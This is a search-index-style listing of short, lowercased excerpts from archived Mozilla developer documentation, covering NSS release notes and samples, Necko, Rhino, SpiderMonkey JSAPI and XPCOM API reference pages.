NSS 3.30 release notes
in ssl.h ssl_alertreceivedcallback - register a callback function, that will be called whenever an ssl/tls alert is received ssl_alertsentcallback - register a callback function, that will be called whenever an ssl/tls alert is sent ssl_setsessionticketkeypair - configures an asymmetric key pair, for use in wrapping session ticket keys, used by the server.
NSS 3.38 release notes
the available orphan key ids can be displayed using command certutil -k.
NSS 3.40 release notes
the following ca certificates were removed: cn = visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78d53bbee5cf1d597989fd0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&produc...
NSS 3.43 release notes
d: none bugs fixed in nss 3.43 bug 1528669 and bug 1529308 - improve gyp build system handling bug 1529950 and bug 1521174 - improve nss s/mime tests for thunderbird bug 1530134 - if docker isn't installed, try running a local clang-format as a fallback bug 1531267 - enable fips mode automatically if the system fips mode flag is set bug 1528262 - add a -j option to the strsclnt command to specify sigschemes bug 1513909 - add manual for nss-policy-check bug 1531074 - fix a deref after a null check in seckey_setpublicvalue bug 1517714 - properly handle esni with hrr bug 1529813 - expose hkdf-expand-label with mechanism bug 1535122 - align tls 1.3 hkdf trace levels bug 1530102 - use getentropy on compatible versions of freebsd.
NSS 3.44 release notes
example.com (not @bogus.com) 1538479 - post-handshake messages after async server authentication break when using record layer separation 1521578 - x25519 support in pk11pars.c 1540205 - freebl build fails with -dnss_disable_chachapoly 1532312 - post-handshake auth doesn't interoperate with openssl 1542741 - certutil -f crashes with segmentation fault 1546925 - allow preceding text in try comment 1534468 - expose chacha20 primitive 1418944 - quote cc/cxx variables passed to nspr 1543545 - allow to build nss as a static library 1487597 - early data that arrives before the handshake completes can be read afterwards 1548398 - freebl_gtest not building on linux/mac 1548722 - fix some coverity warnings 1540652 - softoken/sdb.c: logically dead code 1549413 - android log lib is not in...
NSS 3.46 release notes
ests bug 1561591 - remove -wmaybe-uninitialized warning in tstclnt.c bug 1561587 - remove -wmaybe-uninitialized warning in lgattr.c bug 1561558 - remove -wmaybe-uninitialized warning in httpserv.c bug 1561556 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1561332 - ec.c:28 warning: comparison of integers of different signs: 'int' and 'unsigned long' bug 1564714 - print certutil commands during setup bug 1565013 - hacl image builder times out while fetching gpg key bug 1563786 - update hacl-star docker image to pull specific commit bug 1559012 - improve gcm perfomance using pmull2 bug 1528666 - correct resumption validation checks bug 1568803 - more tests for client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 -...
NSS 3.56 release notes
bug 1659814 - fix interop.sh failures with newer tls-interop commit and dependencies.
NSS Config Options
-sha224 hmac-sha256 hmac-sha384 hmac-sha512 hmac-md5 ciphers aes128-cbc aes192-cbc aes256-cbc aes128-gcm aes192-gcm aes256-gcm camellia128-cbc camellia192-cbc camellia256-cbc seed-cbc des-ede3-cbc des-40-cbc des-cbc null-cipher rc2 rc4 idea ssl key exchanges rsa rsa-export dhe-rsa dhe-dss dh-rsa dh-dss ecdhe-ecdsa ecdhe-rsa ecdh-ecdsa ecdh-rsa restrictions for asymmetric keys (integers) rsa-min dh-min dsa-min constraints on ssl protocols versions (integers) tls-version-min tls-version-max constraints on dtls protocols versions (integers) dtls-version-min dtls-version-max policy flags for algorithms ssl ssl-key-exchange key-exchange cert-signature signature all none ...
NSS Sample Code Sample_1_Hashing
progname + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->option, optstate->value); hashname = strdup(optstate->value); break; } } if (!hashname) usage(progname); /* convert and va...
NSS Sample Code Sample_2_Initialization of NSS
progname + 1 : argv[0]; /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "d:p:q:f:g:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 'd': dbdir = strdup(optstate->value); break; case 'p': plainpass = strdup(optstate->value); break; case 'f': pwfile = strdup(o...
NSS Sample Code sample4
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; /* initialize nss */ pk11_set...
NSS Sample Code sample5
*/ #include "nss.h" #include "pk11pub.h" #define base64_encoded_subjectpublickeyinfo "mfwwdqyjkozihvcnaqebbqadswawsajbal3f6tic3jeysugo+a2fpu3w+epv/feix21dc86wynpftw4srftz2onuzyluzdhzdb+k//8dct3iaozuui3r2emcaweaaq==" #define base64_encoded_privatekeyinfo "miibvqibadanbgkqhkig9w0baqefaascat8wgge7ageaakeavcxpmhzckriy6cj5rz89tdb4sm/8v4hfbumlzpziekw1biysw3pag1tpittmmdl1v6t//x1xpcga7nrsldhz4widaqabakeajh8+4qncwcmgivnm6ytbpqt+k/jeoexg2bqhjojvnxn3fazgcefxvpuibcjvfaijs9ybcmozzrato0+k2hwnoqihaoc4nvbo8fqhzs4yxm1m86kml47fa9ui//oufbhladw1aiea2dbmixnsbokb+ohver69p0gnewlvcjc9bjdvfdlvslcciqcptv3vgyjv2vdwxqzqahc+yb4gigaqoqbcbmjd3lyflqiga+vtydunoqwtzwve4grf7izk2v5ccnhg3gr5rgwxn58cigccaforruksm66isg0iti04g9v/w+wmx91wjeeb+qbz" int main(int argc, char **argv) { secstatus...
Hashing - sample 1
progname + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->option, optstate->value); hashname = strdup(optstate->value); break; } } if (!hashname) usage(progname); /* convert and va...
Initialize NSS database - sample 2
progname + 1 : argv[0]; /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "d:p:q:f:g:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 'd': dbdir = strdup(optstate->value); break; case 'p': plainpass = strdup(optstate->value); break; case 'f': pwfile = strdup(o...
sample1
progname + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->option, optstate->value); hashname = strdup(optstate->value); break; } } if (!hashname) usage(progname); /* ...
NSS Sample Code
sample code 1: key generation and transport between servers sample code 2: symmetric encryption sample code 3: hashing, mac sample code 4: pki encryption sample code 5: pki encryption with a raw public & private key in der format sample code 6: persistent symmetric keys in nss database these are very old examples in need of replacement.
nss tech note4
readily available cert->subjectname (char*) cert->issuername (char*) cert->emailaddr (char*) or char *cert_getcertificateemailaddress(certcertificate *cert); cert->keyusage (unsigned int) to break the issuer and subject names into components pass &(cert->issuer) or &(cert->subject) to the following functions char *cert_getcommonname(certname *name); char *cert_getcertemailaddress(certname *name); char *cert_getcountryname(certname *name); char *cert_getlocalityname(certname *name); char *cert_getstatename(certname *name); char *cert_getorgname(certname *name); char *cert_getorgunitname(certname *name); char *cert_getdomaincomponentname(certname *name); char *cert_...
NSS Tech Notes
nss technical notes newsgroup: mozilla.dev.tech.crypto nss technical notes provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
New NSS Samples
hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch samples list: sample code 1: hashing sample code 2: init nss database sample code 3: encrypt/decrypt and mac using token sample code 4: encrypt/decrypt and mac using session objects sample code 5: encrypt/decrypt/mac output public key as a csr sample code 6: encrypt/decrypt/mac generating a pkcs#11 csr common code used by these samples: sample code 0: utilities thanks are due to shailendra jain, mozilla community member, who is the principal author of these samples.
Notes on TLS - SSL 3.0 Intolerant Servers
we recommend strongly that you urge users to upgrade to the latest netscape version (or at least netscape 6.1) since the newer versions have the graceful rollback implemented in the code.
PKCS11 module installation
extensions can programmatically manage pkcs #11 modules using the nsipkcs11 programming interface.
PKCS 7 functions
nd later sec_pkcs7encoderstart mxr 3.2 and later sec_pkcs7encoderupdate mxr 3.2 and later sec_pkcs7getcertificatelist mxr 3.2 and later sec_pkcs7getcontent mxr 3.2 and later sec_pkcs7getencryptionalgorithm mxr 3.2 and later sec_pkcs7getsignercommonname mxr 3.4 and later sec_pkcs7getsigneremailaddress mxr 3.4 and later sec_pkcs7getsigningtime mxr 3.4 and later sec_pkcs7includecertchain mxr 3.2 and later sec_pkcs7iscontentempty mxr 3.2 and later sec_pkcs7setcontent mxr 3.4 and later ...
Build instructions
make variables may be set on the gmake command line, e.g., gmake variable=value variable=value target1 target2 or defined in the environment, e.g.
Migration to HG
however, below is a brief summary that shows how to checkout the source code and build both nspr and nss: mkdir workarea cd workarea hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss cd nss # set use_64=1 on 64 bit architectures # set build_opt=1 to get an optimized build make nss_build_all note that the jss project has been given a private copy of th...
FC_InitToken
the "-t" (token reset) command of certutil calls fc_inittoken().
FC_Initialize
summary fc_initialize - initialize the pkcs #11 library.
NSC_InitToken
the "-t" (token reset) command of certutil calls nsc_inittoken().
NSPR functions
nspr is a platform abstraction library that provides a cross-platform api to common os services.
NSS_Initialize
nss_init_cooperate - sets the above four recommended options for applications that use both nss and the java sunpkcs11 provider.
NSS tools : vfychain
options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more.
troubleshoot.html
troubleshooting nss and jss builds newsgroup: mozilla.dev.tech.crypto this page summarizes information on troubleshooting the nss and jss build and test systems, including known problems and configuration suggestions.
sslkey.html
upgraded documentation may be found in the current nss reference key functions chapter 6 key functions this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with communicator.
S/MIME functions
erinfo_addsigningtime mxr 3.2 and later nss_cmssignerinfo_create mxr 3.2 and later nss_cmssignerinfo_createwithsubjkeyid mxr 3.6 and later nss_cmssignerinfo_destroy mxr 3.2 and later nss_cmssignerinfo_getcertlist mxr 3.2 and later nss_cmssignerinfo_getsignercommonname mxr 3.2 and later nss_cmssignerinfo_getsigneremailaddress mxr 3.2 and later nss_cmssignerinfo_getsigningcertificate mxr 3.2 and later nss_cmssignerinfo_getsigningtime mxr 3.2 and later nss_cmssignerinfo_getverificationstatus mxr 3.2 and later nss_cmssig...
NSS Tools
eliminate use of getopt() and replace with nspr calls to get command options (to eliminate platform dependencies with getopt()).
NSS tools : vfychain
options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twi...
Necko FAQ
todo original document information author(s): gagan saksena last updated date: december 21, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Multithreading in Necko
original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Necko walkthrough
note: nsconnectionentry has a single nshttpconnectioninfo object attached, a pending queue of nshttptransactions, and 3 arrays for connections: active nshttpconnections idle nshttpconnections nshalfopensockets nshttpconnectionmgr::trydispatchtransaction there is a series of decisions about whether dispatchtransaction is called, along with good code comments: best to read the code for more detail.
Proxies in Necko
original document information author(s): christian biesinger last updated date: april 8, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Necko
browse our code in its latest state at netwerk/ documents a necko code walkthrough necko architecture necko multithreading necko faq necko interfaces overview the necko http module proxies in necko pac files community view mozilla forums...
Personal Security Manager (PSM)
these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and revocation), and other common pki functions.
Renaming With Pork
one can also run the ./renamer command directly on the .ii files.
Pork Tools
then nuke the declaration // nsresult rv; // move outparam to lhs var = getter(); // detect ns_ensure_success immediately following // and change it to an equivalent ns_ensure_true ns_ensure_true(var, ns_error_failure); // case 2 var = getter(); // case 3, eliminate rv2 decl given that it's not used elsewhere var = getter(); ns_ensure_true(var, ns_error_failure) } outparamdel also support rewriting getters such that they return already_addrefed<nsifoo>.
Pork
old pork page pork details that haven't been moved to mdc renaming with pork sample pork application todos pork 1.0 release tracking bug pork releases download pork here community view pork forums...
Rhino and BSF
see http://commons.apache.org/proper/commons-bsf/index.html.
Rhino documentation
try this at jarvana.) an annotated outline of the programming interface to rhino (tip only).
Small Footprint
to build such minimalist jar without debug information, run the following command from the top directory of rhino distribution: ant clean ant -ddebug=off -dno-regexp=true -dno-e4x=true smalljar if you omit -dno-regexp=true, then the resulting smalljs.jar will include regular expression support.
Rhino JavaScript compiler
compiler command line java org.mozilla.javascript.tools.jsc.main [options] file1.js [file2.js...] where options are: -extends java-class-name specifies that a java class extending the java class java-class-name should be generated from the incoming javascript source file.
New in Rhino 1.7R4
update license to mpl 2.0 make string concatenation with + fast java class generation updates and fixes faster number to string conversion several regexp fixes regexp performance improvements es5 compliance fixes improved interpreter performance improved commonjs module implementation javascript 1.8 generator expressions many parser and ast fixes use javascript 1.7 as default version in rhino shell javaadapter improvements fixes in js to java access include mozilla test suite a list of bugs that were fixed since the previous release.
Rhino optimization
local common sub-expressions are collapsed (currently this only happens for property lookup, but in the future more expressions may be optimized).
Performance Hints
not only is it good programming practice, it can speed up your code by allowing the compiler to generate special code to access the variables.
Rhino serialization
original document information author: norris boyd last updated date: november 15, 2006 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative commons license | details.
Creating JavaScript tests
security-sensitive tests should not be committed until the corresponding bug has been made public.
FOSS
http://code.google.com/p/gpsee/ - commonjs platform, native-language module interoperability methods, modules, etc.
Invariants
some commonly used strings are allocated statically; see jsstring::isstatic().
Property cache
spidermonkey's property cache is an internal data structure used to speed up property accesses in the interpreter and to communicate between the interpreter and jit.
JIT Optimization Outcomes
hascommoninliningpath inlined dom monomorphic polymorphic inline cache outcomes outcomes describing inline cache stubs that were generated.
JS::Evaluate
in the common case where the script is just an expression, the result value is simply the value of that expression.
JS::PropertySpecNameToPermanentId
the resulting jsid, on success, is either an interned string or a well-known symbol; either way it is immune to gc so there is no need to visit *idp during gc marking..
JS::SetOutOfMemoryCallback
added in spidermonkey 38 description unlike the error reporter, which is only called if the exception for an oom bubbles up and is not caught, the js::outofmemorycallback is called immediately at the oom site to allow the embedding to capture the current state of heap allocation before anything is freed.
JS::Value
it is highly recommended that you develop and test with an --enable-debug build to detect most js::value misuse.
JSClass.flags
this is recommended for all new code that needs custom marking.
JSGetObjectOps
most host objects do not need to implement the larger jsobjectops, and can share the common jsscope code and data used by the native (js_objectops, see jsobj.c) ops.
JSProtoKey
value prototype in javascript jsproto_null a dummy key for invalid prototype.
JS_ConstructObject
the object should be made gc-reachable immediately.
JS_ConvertArgumentsVA
the type va_list is a standard feature of the c programming language.
JS_DoubleIsInt32
(comment from mozilla::numberequalsint32) casting a floating-point value that doesn't truncate to int32_t, to int32_t, induces undefined behavior.
JS_EvaluateScript
in the common case where the script is just an expression, the result value is simply the value of that expression.
JS_ExecuteScript
if the jsoption_varobjfix option is in effect (recommended), then the last object in the scope chain is used as the variable object.
JS_ExecuteScriptVersion
if the jsoption_varobjfix option is in effect (recommended), then the last object in the scope chain is used as the variable object.
JS_ForgetLocalRoot
calling it successively on other than the most recently allocated gc-thing will tend to average the time inefficiency, and may risk o(n2) growth rate, but in any event, you shouldn't allocate too many local roots if you can root as you go (build a tree of objects from the top down, forgetting each latest-allocated gc-thing immediately upon linking it to its parent).
JS_GetGCParameter
51 jsgc_mark_stack_limit bug 765435 jsgc_high_frequency_time_limit jsgc_high_frequency_low_limit jsgc_high_frequency_high_limit jsgc_high_frequency_heap_growth_max jsgc_high_frequency_heap_growth_min jsgc_low_frequency_heap_growth jsgc_dynamic_heap_growth jsgc_dynamic_mark_slice bug 800063 jsgc_allocation_threshold bug 871005 jsgc_decommit_threshold this option is no-longer exists bug 1017141 jsgc_min_empty_chunk_count jsgc_max_empty_chunk_count ...
JS_GetGlobalObject
someone should document common use case "giving the global object a name", which can be done with js_getglobalobject and js_setproperty see also mxr id search for js_getglobalobject js_getglobalforobject js_getglobalforscopechain js::currentglobalornull bug 868110 ...
JS_GetRuntime
each context is associated with a particular jsruntime when it is created (see js_newcontext); js_getruntime provides a convenient, programmatic way to look up the association.
JS_IsConstructing
in the common case where a constructor should have the same behavior (creating a new object) whether it is called with the new keyword or not, it does not need to call js_isconstructing.
JS_NewContext
the usual value of 8192 is recommended.
JS_NewGlobalObject
this api provides a way for consumers to set slots atomically (immediately after the global is created), before any debugger hooks are fired.
JS_NewRuntime
it is recommended to make use of this for every runtime in a process after the first one.
JS_NewScriptObject
once you have created a script, you should immediately ensure that its script object is reachable (perhaps by using js_addroot or js_enterlocalrootscope).
JS_ParseJSON
various json extensions like trailing commas, unquoted property names, more generous number parsing, and so on are not supported.
JS_PushArguments
the type va_list is a standard feature of the c programming language.
JS_SetElement
obj js::handleobject the object to modify, commonly an array object.
JS_SetInterruptCallback
some common uses for an interrupt callback are: to run garbage collection periodically, by calling js_maybegc; to periodically take a break from script execution to update the ui (though note that mozilla does not do this, by design); to enforce application limits on the amount of time a script may run.
JS_SetNativeStackQuota
this function may only be called immediately after the runtime is initialized and before any code is executed and/or interrupts requested.
JS_SetOperationCallback
some common uses for an operation callback are: to run garbage collection periodically, by calling js_maybegc; to periodically take a break from script execution to update the ui (though note that mozilla does not do this, by design); to enforce application limits on the amount of time a script may run.
JS_SetScriptStackQuota
either immediately after js_newcontext or from the jscontext_new context callback.
JS_ShutDown
this may not always be the case; it's recommended that all embedders call this method when all other jsapi operations have completed, to be future-proof.
JS_THREADSAFE
the recommended technique in spidermonkey 1.8 and later is to periodically call js_yieldrequest from an operation callback.
JS_ValueToInt32
this routine was added for layers-based graphics programming in netscape 4, but unless you know you need its rounding behavior, it is best to avoid it in favour of js::toint32.
JS_YieldRequest
the effect is the same as a call to js_suspendrequest immediately followed by a call to js_resumerequest.
jsdouble
help in the form of test cases, commentary, and patches is always appreciated.
Profiling SpiderMonkey
here are some instrumented tests to work from: media:profiling-ammo.zip 3.) once you have some changes you'd like to try, you can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds.
SpiderMonkey 24
it is recommended that you embed a separate xml parser, or include an xml parsing implementation written in javascript, as an alternative.
Running Parsemark
parsemark is a command-line testing utility for measuring parse/emit performance of the spidermonkey front-end.
Split object
...and yet, there is special code in jsobj.h with a comment about fixing some kind of interaction between with an split objects.
TPS Bookmark Lists
within each folder, the second item in the list is assumed to be immediately after the first item, and so forth.
Zest
it is completely free, open source and can be included in any tool whether open or closed, free or commercial.
Browser security
these articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines.
Task graph
the details of task-graph generation are documented in the source code itself, including a some quick recipes for common changes.
Gecko events
event_table_summary_changed a table's summary changed.
ROLE_MENUITEM
« gecko roles page represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
Gecko Roles
role_menuitem represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
XForms Accessibility
at api accessible properties this section describes common rules how accessibility properties are formed for forms control elements.
XUL Accessibility
append tooltiptext attribute append the accessible value searching specific element in neighbour of the element search inside the element subtree go up through parents (max level is 5) and search inside theirs subtrees if the element is anonymous then search in whole anonymous subtree, here the attribute anonid is used instead of id attribute accessible properties this section describes common rules how accessibility properties are formed for xul elements.
Life After XUL: Building Firefox Interfaces with HTML
this page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.
Places Expiration
common expiration runs on a timer, every 3 minutes and uses a simple adaptive algorithm: if the last step was unable to expire enough entries the next one will expire more entries, otherwise if the previous step completed the cleanup the next step will be delayed.
Using the Places livemark service
the update timer fires immediately, and then every 15 minutes thereafter.
places.sqlite Database Troubleshooting
download the latest precompiled binary sqlite command-line shell from: https://www.sqlite.org/download.html extract sqlite3 executable into the work folder.
XML Extras
file new bugs for additional documentation contributions, either specifically aimed at javascript developers or to complete & clarify the javadoc-style comments in the idl files.
Binary compatibility
comments and questions should be directed to the newsgroup, mozilla.dev.tech.xpcom, or the mailing list, mozilla-xpcom@mozilla.org.
XPCOM Glue without mozalloc
comment: you might also need to build your component with the moz_no_mozalloc flag (-dmoz_no_mozalloc) ...
Packaging WebLock
as weblock installation script demonstrates, xpinstall uses special keywords to refer to common installation directories such as components in a generalized, cross-platform way.
Making cross-thread calls using runnables
hread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a new thread, get the thread manager nscomptr<nsithreadmanager> tm = do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call back immediately with an empty string which indicates failure callback(emptycstring()); return; } nscomptr<nsirunnable> r = new picalculatetask(callback, digits); mythread->dispatch(r, nsieventtarget::dispatch_normal); // the result callback will shut down the worker thread, we can let it go here...
Detailed XPCOM hashtable guide
nsdatahashtable/nsinterfacehashtable/nsclasshashtable - high-level c++ wrappers around pldhash; simplifies the common usage pattern mapping a simple keytype to a simple datatype; client does not need to declare or manage an entry class; nsdatahashtable datatype is a scalar such as pruint32; nsinterfacehashtable datatype is an interface; nsclasshashtable datatype is a class pointer owned by the hashtable.
Receiving startup notifications
the important thing to note is that now instead of registering with the category manager programmatically as was done in the past, you add lines to your chrome.manifest to let the application handle it for you.
How to build a binary XPCOM component using Visual Studio
the command executes xpidl.exe twice, like this: {path_to_geckosdk}\bin\xpidl.exe -m header -i..\gecko-sdk\idl {your_idl_file} {path_to_geckosdk}\bin\xpidl.exe -m typelib -i..\gecko-sdk\idl {your_idl_file} the generated h file actually has a skeleton implementation (commented out).
Components.Exception
summary components.exception is a javascript constructor to create nsixpcexception objects.
Components.ID
summary components.id is a constructor that creates native objects that conform to the nsijsid interface.
Components.isSuccessCode
summary determines whether a given xpcom return code (that is, an nsresult value) indicates the success or failure of an operation, returning true or false respectively.
Components.results
note the common use of an abbreviation for components.results, cr: const ci = components.interfaces, cr = components.results; function class() { /* ...
Components.utils.import
additional resources components.utils bug 238324 the documentation in xpccomponents.idl the tests in js/xpconnect/tests/unit/ importing sdk/commonjs modules into other code ...
Components.utils.schedulePreciseGC
precisegc(), you specify a callback that is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascript-related memory), the callback lets you know when that's been finished.
RbXPCOM
rbxpcom (ruby cross-platform com) provides bindings between the popular ruby programming language and xpcom.
Architecture basics
xpcshell is a command line interface to mozilla javascript.
Using components
commonly, we start our scripts like so: var cc = components.classes; var ci = components.interfaces; if we want to get a hold of a component, we then do something like: var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getservice(ci.nsiregistry); see also: xpcshell -- how to get a command line interface to javascript more info as was already stated, it is common to start addon scripts like: var cc = components.classes; var ci = components.interfaces; there is also another way to start, which is exactly equivalent to the above.
XPConnect wrappers
note that a previous version of the current page recommended using __exposedprops__ to expose objects from chrome to content.
nsIRegistry
rs.openwellknownregistry(2); // 2 signifies the applicationregistry, if i understand right var st = rs.enumerateallsubtrees(2); // 2 signifies "common", see libreg source (reg.h) for info now you have an nsienumerator that can report the subtrees.
XPConnect
wrappers what sorts of wrappers xpconnect generates and uses xpconnect security membranes tools xpcshell join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascript component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010 ...
nsCategoryManager
« xpcom api reference summary the xpcom category manager.
nsDirectoryService
« xpcom api reference summary the xpcom directory service.
nsLocalFile
« xpcom api reference summary a component implementing nsilocalfile.
nsScriptableInputStream
« xpcom api reference summary a component implementing nsiscriptableinputstream.
NS_Alloc
« xpcom api reference summary infallibly allocates a block of memory using the xpcom memory manager.
NS_Free
« xpcom api reference summary frees a block of memory using the xpcom memory manager.
NS_GetComponentManager
« xpcom api reference summary the ns_getcomponentmanager function returns a reference to the xpcom component manager.
NS_GetComponentRegistrar
« xpcom api reference summary the ns_getcomponentregistrar function returns a reference to the xpcom component registrar.
NS_GetMemoryManager
« xpcom api reference summary the ns_getmemorymanager function returns a reference to the xpcom memory manager.
NS_GetServiceManager
« xpcom api reference summary the ns_getservicemanager function returns a reference to the xpcom service manager.
NS_InitXPCOM2
« xpcom api reference summary the ns_initxpcom2 function initiates use of xpcom in the calling process.
NS_InitXPCOM3
« xpcom api reference summary the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules.
NS_NewLocalFile
« xpcom api reference summary the ns_newlocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.
NS_NewNativeLocalFile
« xpcom api reference summary the ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.
NS_Realloc
« xpcom api reference summary reallocates a block of memory using the xpcom memory manager.
NS_ShutdownXPCOM
« xpcom api reference summary the ns_shutdownxpcom function terminates use of xpcom in the calling process.
NS_ConvertASCIItoUTF16
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_ConvertUTF16toUTF8
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_ConvertUTF8toUTF16
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_LossyConvertUTF16toASCII
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_POSTCONDITION
summary macro has the same effect as ns_assertion.
NS_PRECONDITION
summary macro has the same effect as ns_assertion.
Append
« xpcom api reference summary the append family of functions appends a value to the end of a string's internal buffer.
Assign
« xpcom api reference summary the assign family of functions sets the value of a string's internal buffer.
BeginReading
« xpcom api reference summary the beginreading function returns a const pointer to the first element of the string's internal buffer.
Cut
« xpcom api reference summary the cut function removes a section of the string's internal buffer.
EndReading
« xpcom api reference summary the endreading function returns a const char_type pointer to the element just beyond the last element of the string's internal buffer.
Insert
« xpcom api reference summary the insert family of functions inserts a value into a string's internal buffer.
Length
« xpcom api reference summary the length function returns the number of storage units in the string's internal buffer (not including the null-terminator if present).
Replace
« xpcom api reference summary the replace family of functions sets the value of a string's internal buffer.
operator=
« xpcom api reference summary this operator is a shortcut for the assign family of functions.
operator+=
« xpcom api reference summary this operator+= is a shortcut for the append family of functions.
nsACString
« xpcom api reference summary the nsacstring abstract class represents a character string composed of single-byte storage units.
Append
« xpcom api reference summary the append family of functions appends a value to the end of a string's internal buffer.
Assign
« xpcom api reference summary the assign family of functions sets the value of a string's internal buffer.
BeginReading
« xpcom api reference summary the beginreading function returns a const pointer to the first element of the string's internal buffer.
Cut
« xpcom api reference summary the cut function removes a section of the string's internal buffer.
EndReading
« xpcom api reference summary the endreading function returns a const char_type pointer to the element just beyond the last element of the string's internal buffer.
Insert
« xpcom api reference summary the insert family of functions inserts a value into a string's internal buffer.
Length
« xpcom api reference summary the length function returns the number of storage units in the string's internal buffer (not including the null-terminator if present).
Replace
« xpcom api reference summary the replace family of functions sets the value of a string's internal buffer.
operator=
« xpcom api reference summary this operator= is a shortcut for the append family of functions.
operator+=
« xpcom api reference summary this operator+= is a shortcut for the append family of functions.
nsAString
« xpcom api reference summary the nsastring abstract class represents a character string composed of double-byte storage units.
nsAdoptingCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsAdoptingString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsAutoString
